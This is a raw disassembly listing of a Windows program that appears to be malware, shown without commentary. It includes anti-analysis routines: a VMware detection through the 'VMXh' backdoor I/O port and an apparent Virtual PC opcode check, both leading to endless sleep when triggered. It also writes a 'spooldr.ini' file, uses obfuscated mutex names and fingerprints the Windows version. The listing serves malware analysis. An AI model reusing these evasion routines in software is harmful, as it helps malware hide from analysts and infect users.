arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_C]
		mov	esi, ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_402C38
		mov	eax, [ebp+arg_10]
		push	[ebp+arg_14]
		mov	ecx, esi
		mov	[esi+14h], eax
		call	sub_402B17
		pop	esi
		pop	ebp
		retn	18h
sub_402C5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C86	proc near		; CODE XREF: sub_401FF5+B9p

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+8]
		xor	bl, bl
		cmp	dword ptr [edi], 0
		jnz	loc_402DE3
		mov	eax, [ebp+arg_4]
		mov	[esi+18h], eax
		mov	eax, [ebp+arg_0]
		push	offset sub_402B31
		push	esi
		mov	[esi], eax
		call	sub_413720
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi+10h], eax
		jz	loc_402DDE
		and	[ebp+arg_0], 0
		mov	ecx, [eax+0Ch]
		mov	[esi+14h], ecx
		lea	ecx, [ebp+arg_0]
		push	ecx
		inc	bl
		push	eax
		jmp	loc_402DCD
; ---------------------------------------------------------------------------


loc_402CD6:				; CODE XREF: sub_402C86+150j
		mov	eax, [ebp+arg_0]
		cmp	eax, 2
		jnz	short loc_402D40
		push	dword ptr [esi+10h]
		call	sub_41344D
		test	eax, eax
		pop	ecx
		jz	loc_402DA1
		mov	eax, [esi+10h]
		mov	ecx, [eax+20h]
		mov	[esi+20h], ecx
		mov	ecx, [eax+24h]
		mov	eax, [esi+20h]
		imul	eax, ecx
		push	eax
		mov	[esi+24h], ecx
		mov	[esi+28h], eax
		call	sub_40D0BB
		pop	ecx
		push	eax
		mov	ecx, edi
		call	sub_408034
		push	dword ptr [esi+28h]
		push	dword ptr [edi]
		push	dword ptr [esi+10h]
		call	sub_4139FE
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_402DC6
		push	eax
		mov	ecx, edi
		call	sub_408034
		call	sub_414233
		jmp	loc_402DC6
; ---------------------------------------------------------------------------


loc_402D40:				; CODE XREF: sub_402C86+56j
		cmp	eax, 4
		jz	short loc_402D7B
		cmp	eax, 1
		jnz	short loc_402D59
		push	dword ptr [esi+10h]
		call	sub_413334
		test	eax, eax
		pop	ecx
		jz	short loc_402DA1
		jmp	short loc_402DC6
; ---------------------------------------------------------------------------


loc_402D59:				; CODE XREF: sub_402C86+C2j
		cmp	eax, 3
		jnz	short loc_402DC6
		and	[ebp+arg_4], 0
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	dword ptr [esi+10h]
		call	sub_413631
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402DBC
		xor	bl, bl


loc_402D7B:				; CODE XREF: sub_402C86+BDj
		test	bl, bl
		jz	short loc_402DE3
		mov	eax, [esi+10h]
		mov	eax, [eax+10h]
		push	dword ptr [eax+8]
		push	dword ptr [eax]
		call	sub_41430E
		push	dword ptr [esi+10h]
		mov	[esi+0Ch], eax
		call	sub_41312A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402DE3


loc_402DA1:				; CODE XREF: sub_402C86+63j
					; sub_402C86+CFj ...
		call	sub_414233
		xor	bl, bl
		jmp	short loc_402DE3
; ---------------------------------------------------------------------------


loc_402DAA:				; CODE XREF: sub_402C86+13Aj
		lea	eax, [ebp+arg_4]
		push	eax
		push	dword ptr [esi+10h]
		call	sub_4130C4
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_402DC4


loc_402DBC:				; CODE XREF: sub_402C86+F1j
		cmp	[ebp+arg_4], 0
		jnz	short loc_402DAA
		jmp	short loc_402DC6
; ---------------------------------------------------------------------------


loc_402DC4:				; CODE XREF: sub_402C86+134j
		xor	bl, bl


loc_402DC6:				; CODE XREF: sub_402C86+A2j
					; sub_402C86+B5j ...
		lea	eax, [ebp+arg_0]
		push	eax
		push	dword ptr [esi+10h]


loc_402DCD:				; CODE XREF: sub_402C86+4Bj
		call	sub_41304B
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_402CD6
		jmp	short loc_402DA1
; ---------------------------------------------------------------------------


loc_402DDE:				; CODE XREF: sub_402C86+34j
		call	sub_414233


loc_402DE3:				; CODE XREF: sub_402C86+11j
					; sub_402C86+F7j ...
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebx
		leave
		retn	8
sub_402C86	endp


; =============== S U B	R O U T	I N E =======================================



sub_402DEC	proc near		; CODE XREF: sub_402624+13Cp

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	offset a89a	; "89a"
		mov	[esi+1Ch], ebx
		call	sub_413B0A
		mov	[esp+0Ch+var_C], offset	sub_402B61
		push	esi
		call	sub_413A73
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[esi+10h], eax
		jnz	short loc_402E1E


loc_402E15:				; CODE XREF: sub_402DEC+50j
					; sub_402DEC+6Bj ...
		call	sub_414233
		xor	al, al
		jmp	short loc_402E7D
; ---------------------------------------------------------------------------


loc_402E1E:				; CODE XREF: sub_402DEC+27j
		mov	ecx, [esi+0Ch]
		mov	edx, [esi+24h]
		push	edi
		mov	edi, [esi+20h]
		push	ecx
		push	dword ptr [esi+14h]
		push	dword ptr [ecx]
		push	edx
		push	edi
		push	eax
		call	sub_413C3B
		add	esp, 18h
		test	eax, eax
		pop	edi
		jz	short loc_402E15
		mov	eax, [esi+24h]
		mov	ecx, [esi+20h]
		push	ebx
		push	ebx
		push	eax
		push	ecx
		push	ebx
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41403A
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_402E15
		push	dword ptr [esi+28h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_4141CB
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_402E15
		push	dword ptr [esi+10h]
		call	sub_413B1E
		test	eax, eax
		pop	ecx
		jz	short loc_402E15
		mov	al, 1


loc_402E7D:				; CODE XREF: sub_402DEC+30j
		pop	esi
		pop	ebx
		retn
sub_402DEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_402E80	proc near		; CODE XREF: sub_402624+F4p
		push	esi
		push	edi
		push	2Ch
		mov	esi, ecx
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_402E9B
		mov	ecx, eax
		call	sub_402BAC
		mov	edi, eax
		jmp	short loc_402E9D
; ---------------------------------------------------------------------------


loc_402E9B:				; CODE XREF: sub_402E80+Ej
		xor	edi, edi


loc_402E9D:				; CODE XREF: sub_402E80+19j
		push	dword ptr [esi+0Ch]
		mov	ecx, edi
		push	dword ptr [esi+14h]
		push	dword ptr [esi+24h]
		push	dword ptr [esi+20h]
		push	dword ptr [esi+28h]
		push	dword ptr [esi+8]
		call	sub_402C5A
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_402E80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402EBB	proc near		; CODE XREF: sub_402624+135p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		push	edi
		lea	eax, [esi+8]
		xor	edi, edi
		cmp	[eax], edi
		mov	[ebp+var_8], eax
		jz	loc_402FC5
		mov	eax, [ebp+arg_0]
		cmp	eax, [esi+20h]
		jbe	loc_402FC5
		push	ebx
		mov	ebx, [ebp+arg_4]
		cmp	ebx, [esi+24h]
		jbe	loc_402FC4
		push	edi
		call	sub_40CFAE
		push	eax
		call	sub_40CF2A
		mov	eax, [ebp+arg_0]
		imul	eax, ebx
		push	eax
		mov	[ebp+var_C], eax
		call	sub_40D0BB
		add	esp, 0Ch
		xor	ebx, ebx
		cmp	[esi+24h], edi
		mov	[ebp+var_4], eax
		jbe	short loc_402F66
		mov	eax, [esi+20h]


loc_402F19:				; CODE XREF: sub_402EBB+A9j
		mov	ecx, [ebp+var_8]
		push	eax
		imul	eax, ebx
		add	eax, [ecx]
		push	eax
		mov	eax, [ebp+var_4]
		add	eax, edi
		push	eax
		call	sub_40CCF7
		mov	eax, [esi+20h]
		mov	ecx, [ebp+arg_0]
		sub	ecx, eax
		push	ecx
		lea	ecx, [ebx+2]
		imul	ecx, eax
		sub	ecx, [ebp+arg_0]
		add	edi, eax
		mov	eax, [ebp+var_8]
		add	ecx, [eax]
		mov	eax, [ebp+var_4]
		push	ecx
		add	eax, edi
		push	eax
		call	sub_40CCF7
		mov	eax, [esi+20h]
		mov	ecx, [ebp+arg_0]
		sub	ecx, eax
		add	esp, 18h
		add	edi, ecx
		inc	ebx
		cmp	ebx, [esi+24h]
		jb	short loc_402F19


loc_402F66:				; CODE XREF: sub_402EBB+59j
		mov	eax, [esi+24h]
		mov	ebx, [ebp+arg_4]
		dec	eax
		cmp	eax, ebx
		jnb	short loc_402FA7
		mov	edi, eax
		imul	edi, [ebp+arg_0]
		add	edi, [ebp+var_4]
		sub	ebx, eax


loc_402F7C:				; CODE XREF: sub_402EBB+EAj
		push	[ebp+arg_0]
		call	sub_40CF34
		cdq
		push	0Ah
		pop	ecx
		idiv	ecx
		mov	eax, [esi+24h]
		sub	eax, edx
		dec	eax
		imul	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		push	edi
		call	sub_40CCF7
		add	edi, [ebp+arg_0]
		add	esp, 0Ch
		dec	ebx
		jnz	short loc_402F7C


loc_402FA7:				; CODE XREF: sub_402EBB+B4j
		mov	eax, [ebp+arg_0]
		push	[ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[esi+20h], eax
		mov	eax, [ebp+arg_4]
		mov	[esi+24h], eax
		mov	eax, [ebp+var_C]
		mov	[esi+28h], eax
		call	sub_408034


loc_402FC4:				; CODE XREF: sub_402EBB+2Dj
		pop	ebx


loc_402FC5:				; CODE XREF: sub_402EBB+14j
					; sub_402EBB+20j
		pop	edi
		pop	esi
		leave
		retn	8
sub_402EBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FCB	proc near		; CODE XREF: sub_403CCB+34p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		lea	ecx, [ebp+var_4]
		call	sub_40DB48
		push	105h
		lea	ecx, [ebp+var_4]
		call	sub_40DADA
		push	[ebp+var_4]
		push	104h
		call	ds:dword_4180F8
		push	offset aSpooldr_ini ; "\\spooldr.ini"
		lea	ecx, [ebp+var_4]
		call	sub_401AA0
		push	8
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_403017
		mov	ecx, eax
		call	sub_40CC41
		jmp	short loc_403019
; ---------------------------------------------------------------------------


loc_403017:				; CODE XREF: sub_402FCB+41j
		xor	eax, eax


loc_403019:				; CODE XREF: sub_402FCB+4Aj
		push	dword_421078
		mov	[esi], eax
		mov	edx, [eax]
		push	80000002h
		mov	ecx, eax
		call	dword ptr [edx]
		push	0Ch
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_403041
		mov	ecx, eax
		call	sub_40C9A6
		jmp	short loc_403043
; ---------------------------------------------------------------------------


loc_403041:				; CODE XREF: sub_402FCB+6Bj
		xor	eax, eax


loc_403043:				; CODE XREF: sub_402FCB+74j
		push	offset aConfig	; "config"
		push	[ebp+var_4]
		mov	[esi+4], eax
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx]
		lea	ecx, [ebp+var_4]
		call	sub_40DB59
		mov	eax, esi
		pop	esi
		leave
		retn
sub_402FCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_403061	proc near		; CODE XREF: sub_403DAE+25p
		push	esi
		push	edi
		mov	edi, ecx
		xor	esi, esi


loc_403067:				; CODE XREF: sub_403061+12j
		mov	ecx, [edi+esi*4]
		mov	eax, [ecx]
		call	dword ptr [eax+8]
		inc	esi
		cmp	esi, 2
		jb	short loc_403067
		pop	edi
		pop	esi
		retn
sub_403061	endp


; =============== S U B	R O U T	I N E =======================================



sub_403078	proc near		; CODE XREF: sub_403CCB+5Ap

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		mov	ecx, [esi]
		push	dword_421070
		mov	eax, [ecx]
		call	dword ptr [eax+0Ch]
		test	al, al
		jnz	short loc_4030A4
		push	[esp+4+arg_0]
		mov	ecx, [esi+4]
		push	dword_421070
		mov	eax, [ecx]
		call	dword ptr [eax+0Ch]
		jmp	short loc_4030A6
; ---------------------------------------------------------------------------


loc_4030A4:				; CODE XREF: sub_403078+16j
		mov	al, 1


loc_4030A6:				; CODE XREF: sub_403078+2Aj
		pop	esi
		retn	4
sub_403078	endp


; =============== S U B	R O U T	I N E =======================================



sub_4030AA	proc near		; CODE XREF: sub_403CCB+B3p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		mov	ecx, [esi]
		push	dword_421070
		mov	eax, [ecx]
		call	dword ptr [eax+10h]
		test	al, al
		jz	short loc_4030DD
		push	[esp+4+arg_0]
		mov	ecx, [esi+4]
		push	dword_421070
		mov	eax, [ecx]
		call	dword ptr [eax+10h]
		test	al, al
		jz	short loc_4030DD
		xor	eax, eax
		inc	eax
		jmp	short loc_4030DF
; ---------------------------------------------------------------------------


loc_4030DD:				; CODE XREF: sub_4030AA+16j
					; sub_4030AA+2Cj
		xor	eax, eax


loc_4030DF:				; CODE XREF: sub_4030AA+31j
		pop	esi
		retn	4
sub_4030AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4030E3	proc near		; CODE XREF: sub_403CCB+4Fp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		mov	ecx, [esi]
		push	dword_421074
		mov	eax, [ecx]
		call	dword ptr [eax+0Ch]
		test	al, al
		jnz	short loc_40310F
		push	[esp+4+arg_0]
		mov	ecx, [esi+4]
		push	dword_421074
		mov	eax, [ecx]
		call	dword ptr [eax+0Ch]
		jmp	short loc_403111
; ---------------------------------------------------------------------------


loc_40310F:				; CODE XREF: sub_4030E3+16j
		mov	al, 1


loc_403111:				; CODE XREF: sub_4030E3+2Aj
		pop	esi
		retn	4
sub_4030E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_403115	proc near		; CODE XREF: sub_403ED0+24Ap

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		mov	ecx, [esi]
		push	dword_421074
		mov	eax, [ecx]
		call	dword ptr [eax+10h]
		test	al, al
		jz	short loc_403148
		push	[esp+4+arg_0]
		mov	ecx, [esi+4]
		push	dword_421074
		mov	eax, [ecx]
		call	dword ptr [eax+10h]
		test	al, al
		jz	short loc_403148
		xor	eax, eax
		inc	eax
		jmp	short loc_40314A
; ---------------------------------------------------------------------------


loc_403148:				; CODE XREF: sub_403115+16j
					; sub_403115+2Cj
		xor	eax, eax


loc_40314A:				; CODE XREF: sub_403115+31j
		pop	esi
		retn	4
sub_403115	endp

; ---------------------------------------------------------------------------


loc_40314E:				; CODE XREF: sub_403389+13p
		push	14h
		push	offset dword_420358
		call	__SEH_prolog
		mov	byte ptr [ebp-19h], 0
		and	dword ptr [ebp-4], 0
		push	ebx
		mov	ebx, 0
		mov	eax, 1
; ---------------------------------------------------------------------------
		db 0Fh,	3Fh, 7
		dd 0FDB850Bh, 5BE74594h, 458B35EBh, 0DC4589ECh,	8BDC458Bh
		dd 45890440h, 0E0458BE0h, 0A48883h, 8BFF0000h, 808BE045h
		dd 0B8h, 8B04C083h, 8189E04Dh, 0B8h, 0C3FFC883h, 83E8658Bh
		dd 8AFFFC4Dh, 0ECE8E745h, 0C3000141h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4031BC	proc near		; CODE XREF: sub_403389+6p

var_19		= byte ptr -19h
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset dword_420368
		call	__SEH_prolog
		mov	[ebp+var_19], 1
		and	[ebp+ms_exc.disabled], 0
		push	edx
		push	ecx
		push	ebx
		mov	eax, 564D5868h
		mov	ebx, 0
		mov	ecx, 0Ah
		mov	edx, 5658h
		in	eax, dx
		cmp	ebx, 564D5868h
		setz	[ebp+var_19]
		pop	ebx
		pop	ecx
		pop	edx
		jmp	short loc_403202
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		mov	[ebp+var_19], 0


loc_403202:				; CODE XREF: sub_4031BC+39j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	al, [ebp+var_19]
		call	__SEH_epilog
		retn
sub_4031BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40320F	proc near		; CODE XREF: sub_403389+7Ap

var_114		= byte ptr -114h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
var_3		= byte ptr -3

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		push	ebx
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	104h
		push	offset aSpooldr_ini_0 ;	"spooldr.ini"
		call	ds:dword_418108
		lea	eax, [ebp+var_114]
		push	eax
		call	ds:dword_418104
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4032C4
		xor	ebx, ebx
		push	ebx
		push	80h
		push	2
		push	ebx
		push	7
		push	40000000h
		lea	eax, [ebp+var_114]
		push	eax
		call	ds:dword_418100
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_403271
		xor	al, al
		jmp	short loc_4032C6
; ---------------------------------------------------------------------------


loc_403271:				; CODE XREF: sub_40320F+5Cj
		push	esi
		push	edi
		mov	edi, ds:dword_4180FC


loc_403279:				; CODE XREF: sub_40320F+A8j
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		lea	esi, dword_421218[ebx]
		push	dword ptr [esi]
		call	sub_40CD83
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	[ebp+var_8]
		call	edi
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		push	2
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_8]
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		call	edi
		add	ebx, 4
		cmp	ebx, 494h
		jb	short loc_403279
		push	[ebp+var_8]
		call	ds:dword_4180A4
		pop	edi
		pop	esi


loc_4032C4:				; CODE XREF: sub_40320F+35j
		mov	al, 1


loc_4032C6:				; CODE XREF: sub_40320F+60j
		pop	ebx
		leave
		retn
sub_40320F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4032C9	proc near		; CODE XREF: sub_403389+36p

arg_0		= dword	ptr  4

		push	esi
		push	14h
		push	0
		mov	esi, offset dword_421CD8
		push	esi
		call	sub_40CCD9
		add	esp, 0Ch
		push	1
		push	esi
		call	ds:dword_418018
		test	eax, eax
		jnz	short loc_4032ED


loc_4032E9:				; CODE XREF: sub_4032C9+33j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4032ED:				; CODE XREF: sub_4032C9+1Ej
		push	0
		push	0
		push	1
		push	esi
		call	ds:dword_41801C
		test	eax, eax
		jz	short loc_4032E9
		mov	eax, [esp+4+arg_0]
		mov	[eax+4], esi
		mov	dword ptr [eax], 0Ch
		mov	dword ptr [eax+8], 1
		mov	al, 1
		pop	esi
		retn
sub_4032C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_403316	proc near		; CODE XREF: sub_40336B+13p
					; sub_403389+13Ap ...
		push	ebx
		push	esi
		push	offset aIu6uu3wjjhfWyh ; "Iu6Uu3wJJHF%WYHS"
		xor	ebx, ebx
		push	ebx
		push	2
		call	ds:dword_41810C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_403341
		push	esi
		call	ds:dword_4180A8
		test	eax, eax
		push	esi
		setnz	bl
		call	ds:dword_4180A4


loc_403341:				; CODE XREF: sub_403316+16j
		pop	esi
		mov	al, bl
		pop	ebx
		retn
sub_403316	endp


; =============== S U B	R O U T	I N E =======================================



sub_403346	proc near		; CODE XREF: sub_40336B+8p
					; sub_403389+12Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	[esp+arg_4]
		jz	short loc_403362
		push	[esp+4+arg_0]
		call	ds:dword_4180B8
		test	eax, eax
		jnz	short loc_403368
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_403362:				; CODE XREF: sub_403346+9j
		call	ds:dword_4180C8


loc_403368:				; CODE XREF: sub_403346+17j
		xor	al, al
		retn
sub_403346	endp


; =============== S U B	R O U T	I N E =======================================



sub_40336B	proc near		; CODE XREF: sub_403389+94p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_403346
		test	al, al
		pop	ecx
		pop	ecx
		jz	short loc_403386
		call	sub_403316
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_403386:				; CODE XREF: sub_40336B+11j
		xor	al, al
		retn
sub_40336B	endp


; =============== S U B	R O U T	I N E =======================================



sub_403389	proc near		; CODE XREF: start+2p

var_191		= byte ptr -191h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h

		sub	esp, 1A4h
		call	sub_4031BC
		test	al, al
		jnz	loc_403524
		call	loc_40314E
		test	al, al
		jnz	loc_403524
		push	ebx
		push	ebp
		mov	ebp, ds:dword_4180C8
		push	esi
		push	edi
		push	4E20h
		call	ebp


loc_4033BA:				; CODE XREF: sub_403389+162j
					; sub_403389+16Ej
		lea	eax, [esp+1A4h+var_18C]
		push	eax
		call	sub_4032C9
		pop	ecx
		mov	esi, offset aK8jt6hnjmJuiWw ; "K8JT6Hnjm$#jui#WWhHHgG"
		push	esi
		xor	ebx, ebx
		push	ebx
		push	ebx
		lea	eax, [esp+1B0h+var_18C]
		push	eax
		call	ds:dword_4180A0
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_4033FC
		call	ds:dword_418114
		cmp	eax, 0B7h
		jnz	short loc_4033FC
		push	esi
		push	ebx
		push	1F0003h
		call	ds:dword_418110
		mov	edi, eax


loc_4033FC:				; CODE XREF: sub_403389+55j
					; sub_403389+62j
		push	7530h
		call	ebp
		call	sub_40320F
		lea	eax, [esp+1ACh+var_188]
		push	eax
		push	2
		call	ds:dword_4181B4
		jmp	short loc_403439
; ---------------------------------------------------------------------------


loc_403417:				; CODE XREF: sub_403389+C1j
		push	927C0h
		push	edi
		call	sub_40336B
		test	al, al
		pop	ecx
		pop	ecx
		jz	short loc_40342A
		mov	bl, 1


loc_40342A:				; CODE XREF: sub_403389+9Dj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+4]
		test	bl, bl
		jnz	loc_403505


loc_403439:				; CODE XREF: sub_403389+8Cj
		xor	bl, bl
		call	sub_40BF8E
		mov	esi, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax]
		test	al, al
		jz	short loc_403417
		push	0EA60h
		call	ebp
		and	[esp+1A4h+var_190], 0
		mov	[esp+1A4h+var_191], 1
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+10h]
		test	al, al
		jz	short loc_403487
		push	130h
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_4034A6
		lea	ecx, [esp+1A4h+var_191]
		push	ecx
		push	edi
		push	esi
		mov	ecx, eax
		call	sub_406E37
		jmp	short loc_4034A8
; ---------------------------------------------------------------------------


loc_403487:				; CODE XREF: sub_403389+DDj
		push	51A0h
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_4034A6
		lea	ecx, [esp+1A4h+var_191]
		push	ecx
		push	edi
		push	esi
		mov	ecx, eax
		call	sub_4058DF
		jmp	short loc_4034A8
; ---------------------------------------------------------------------------


loc_4034A6:				; CODE XREF: sub_403389+ECj
					; sub_403389+10Bj
		xor	eax, eax


loc_4034A8:				; CODE XREF: sub_403389+FCj
					; sub_403389+11Bj
		push	eax
		lea	ecx, [esp+1A8h+var_190]
		call	sub_404191
		push	0FFFFFFFFh
		push	edi
		call	sub_403346
		cmp	[esp+1ACh+var_191], 0
		pop	ecx
		pop	ecx
		jz	short loc_4034C8
		call	sub_403316


loc_4034C8:				; CODE XREF: sub_403389+138j
		push	0
		lea	ecx, [esp+1A8h+var_190]
		call	sub_404191
		test	edi, edi
		jz	short loc_4034DE
		push	edi
		call	ds:dword_4180A4


loc_4034DE:				; CODE XREF: sub_403389+14Cj
		cmp	[esp+1A4h+var_191], 0
		jnz	short loc_4034FC
		mov	ecx, [esp+1A4h+var_190]
		test	ecx, ecx
		jz	loc_4033BA
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax]
		jmp	loc_4033BA
; ---------------------------------------------------------------------------


loc_4034FC:				; CODE XREF: sub_403389+15Aj
					; sub_403389+17Aj
		push	5F5E100h
		call	ebp
		jmp	short loc_4034FC
; ---------------------------------------------------------------------------


loc_403505:				; CODE XREF: sub_403389+AAj
		call	sub_403316
		test	edi, edi
		jz	short loc_403515
		push	edi
		call	ds:dword_4180A4


loc_403515:				; CODE XREF: sub_403389+183j
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 1A4h
		retn	4
; ---------------------------------------------------------------------------


loc_403524:				; CODE XREF: sub_403389+Dj
					; sub_403389+1Aj ...
		push	5F5E100h
		call	ds:dword_4180C8
		jmp	short loc_403524
sub_403389	endp


; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		push	0
		call	sub_403389
		retn
start		endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_403539	proc near		; CODE XREF: sub_403AA0+3Fp

var_114		= byte ptr -114h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 114h
		lea	eax, [ebp+74h+var_94]
		push	eax
		mov	[ebp+74h+var_94], 94h
		call	ds:dword_418118
		mov	eax, [ebp+74h+var_90]
		sub	eax, 3
		jz	loc_4035F9
		dec	eax
		mov	ecx, [ebp+74h+var_8C]
		jz	short loc_403599
		dec	eax
		jz	short loc_403577
		dec	eax
		jnz	short loc_4035A7
		push	offset aWindowsVista ; "Windows	Vista"
		jmp	loc_4035FE
; ---------------------------------------------------------------------------


loc_403577:				; CODE XREF: sub_403539+2Fj
		mov	eax, ecx
		sub	eax, 0
		jz	short loc_403592
		dec	eax
		jz	short loc_40358B
		dec	eax
		jnz	short loc_4035A7
		push	offset aWindows2003 ; "Windows 2003"
		jmp	short loc_4035FE
; ---------------------------------------------------------------------------


loc_40358B:				; CODE XREF: sub_403539+46j
		push	offset aWindowsXp ; "Windows XP"
		jmp	short loc_4035FE
; ---------------------------------------------------------------------------


loc_403592:				; CODE XREF: sub_403539+43j
		push	offset aWindows2000 ; "Windows 2000"
		jmp	short loc_4035FE
; ---------------------------------------------------------------------------


loc_403599:				; CODE XREF: sub_403539+2Cj
		test	ecx, ecx
		jz	short loc_4035E7
		cmp	ecx, 0Ah
		jz	short loc_4035E0
		cmp	ecx, 5Ah
		jz	short loc_4035D9


loc_4035A7:				; CODE XREF: sub_403539+32j
					; sub_403539+49j
		cmp	[ebp+74h+var_84], 2
		mov	eax, offset aNt	; "NT"
		jz	short loc_4035B7
		mov	eax, offset a32	; "32"


loc_4035B7:				; CODE XREF: sub_403539+77j
		push	ecx
		push	[ebp+74h+var_90]
		push	eax
		lea	eax, [ebp+74h+var_114]
		push	offset aWinSD_D	; "Win%s %d.%d"
		push	eax
		call	sub_40CE18
		add	esp, 14h
		lea	eax, [ebp+74h+var_114]


loc_4035D6:				; CODE XREF: sub_403539+B7j
					; sub_403539+BEj
		push	eax
		jmp	short loc_4035FE
; ---------------------------------------------------------------------------


loc_4035D9:				; CODE XREF: sub_403539+6Cj
		push	offset aWindowsMe ; "Windows Me"
		jmp	short loc_4035FE
; ---------------------------------------------------------------------------


loc_4035E0:				; CODE XREF: sub_403539+67j
		push	offset aWindows98 ; "Windows 98"
		jmp	short loc_4035FE
; ---------------------------------------------------------------------------


loc_4035E7:				; CODE XREF: sub_403539+62j
		cmp	[ebp+74h+var_84], 2
		mov	eax, offset aWindowsNt4_0 ; "Windows NT	4.0"
		jz	short loc_4035D6
		mov	eax, offset aWindows95 ; "Windows 95"
		jmp	short loc_4035D6
; ---------------------------------------------------------------------------


loc_4035F9:				; CODE XREF: sub_403539+22j
		push	offset aWindowsnt3_51 ;	"WindowsNT 3.51"


loc_4035FE:				; CODE XREF: sub_403539+39j
					; sub_403539+50j ...
		mov	ecx, [ebp+74h+arg_0]
		call	sub_401AA0
		mov	ecx, [ebp+74h+arg_0]
		push	offset asc_41BC28 ; " "
		call	sub_401AA0
		mov	ecx, [ebp+74h+arg_0]
		lea	eax, [ebp+74h+var_80]
		push	eax
		call	sub_401AA0
		add	ebp, 74h
		leave
		retn
sub_403539	endp


; =============== S U B	R O U T	I N E =======================================



